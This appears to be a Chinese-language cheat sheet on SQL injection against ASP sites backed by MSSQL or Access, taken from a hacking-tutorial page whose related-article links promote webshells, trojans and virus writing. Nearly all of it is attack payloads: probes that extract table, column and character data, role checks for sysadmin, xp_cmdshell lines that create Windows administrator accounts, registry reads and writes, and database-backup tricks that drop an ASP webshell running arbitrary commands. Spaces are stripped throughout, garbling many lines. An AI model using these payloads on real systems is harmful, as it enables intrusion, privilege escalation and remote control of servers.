1.判断是否有注入

;and1=1

;and1=2

2.初步判断是否是mssql

;anduser>0

3.注入参数是字符

'and[查询条件]and''='

4.搜索时没过滤参数的

'and[查询条件]and'%25'='

5.判断数据库系统

;and(selectcount(*)fromsysobjects)>0mssql

;and(selectcount(*)frommsysobjects)>0access

6.猜数据库

;and(SelectCount(*)from[数据库名])>0

7.猜字段

;and(SelectCount(字段名)from数据库名)>0

8.猜字段中记录长度

;and(selecttop1len(字段名)from数据库名)>0

9.(1)猜字段的ascii值（access）

;and(selecttop1asc(mid(字段名,1,1))from数据库名)>0

(2)猜字段的ascii值（mssql）

;and(selecttop1unicode(substring(字段名,1,1))from数据库名)>0

10.测试权限结构（mssql）

;and1=(SelectIS_SRVROLEMEMBER('sysadmin'));--

;and1=(SelectIS_SRVROLEMEMBER('serveradmin'));--

;and1=(SelectIS_SRVROLEMEMBER('setupadmin'));--

;and1=(SelectIS_SRVROLEMEMBER('securityadmin'));--

;and1=(SelectIS_SRVROLEMEMBER('diskadmin'));--

;and1=(SelectIS_SRVROLEMEMBER('bulkadmin'));--

;and1=(SelectIS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户

;execmaster.dbo.sp_addloginusername;--

;execmaster.dbo.sp_passwordnull,username,password;--

;execmaster.dbo.sp_addsrvrolemembersysadminusername;--

;execmaster.dbo.xp_cmdshell'netuserusernamepassword/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--

;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';--

;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';--

12.(1)遍历目录

;createtabledirs(pathsvarchar(100),idint)

;insertdirsexecmaster.dbo.xp_dirtree'c:'

;and(selecttop1pathsfromdirs)>0

;and(selecttop1pathsfromdirswherepathsnotin('上步得到的paths'))>)

(2)遍历目录

;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--

;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器

;insertintotemp(id)execmaster.dbo.xp_subdirs'c:';--获得子目录列表

;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:';--获得所有子目录的目录树结构

;insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:webindex.asp';--查看文件的内容

13.mssql中的存储过程

xp_regenumvalues注册表根键,子键

;execxp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'以多个记录集方式返回所有键值

xp_regread根键,子键,键值名

;execxp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'返回制定键的值

xp_regwrite根键,子键,值名,值类型,值

值类型有2种REG_SZ表示字符型,REG_DWORD表示整型

;execxp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion',

'TestValueName','reg_sz','hello'写入注册表

xp_regdeletevalue根键,子键,值名

execxp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'删除某个值

xp_regdeletekey'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'删除键,包括该键下所有值

14.mssql的backup创建webshell

usemodel

createtablecmd(strimage);

insertintocmd(str)values('<%DimoScript%>');

backupdatabasemodeltodisk='c:l.asp';

15.mssql内置函数

;and(select@@version)>0获得Windows的版本号

;anduser_name()='dbo'判断当前系统的连接用户是不是sa

;and(selectuser_name())>0爆当前系统的连接用户

;and(selectdb_name())>0得到当前连接的数据库

16.简洁的webshell

usemodel

createtablecmd(strimage);

insertintocmd(str)values('<%=server.createobject("wscript.shell").exec("cmd.exe/c"&request("c")).stdout.readall%>');

backupdatabasemodeltodisk='g:wwwtestl.asp';

【全面了解ASP注入方法 [收集总结]】相关文章：

★ 关于动网的cookie泻露站点绝路径的问题

★ QQ聊天记录删除了怎么恢复简单方法

★ 超全的webshell权限提升方法

★ 查找与清除线程插入式木马

★ Sql2005注入辅助脚本[修改版]

★ mysql5 注入漏洞

★ rm格式插入广告代码

★ 当网站不允许上传asp cer cdx htr文件时的一个解决方法！

★ Win32下病毒设计入门

★ 详解BMP木马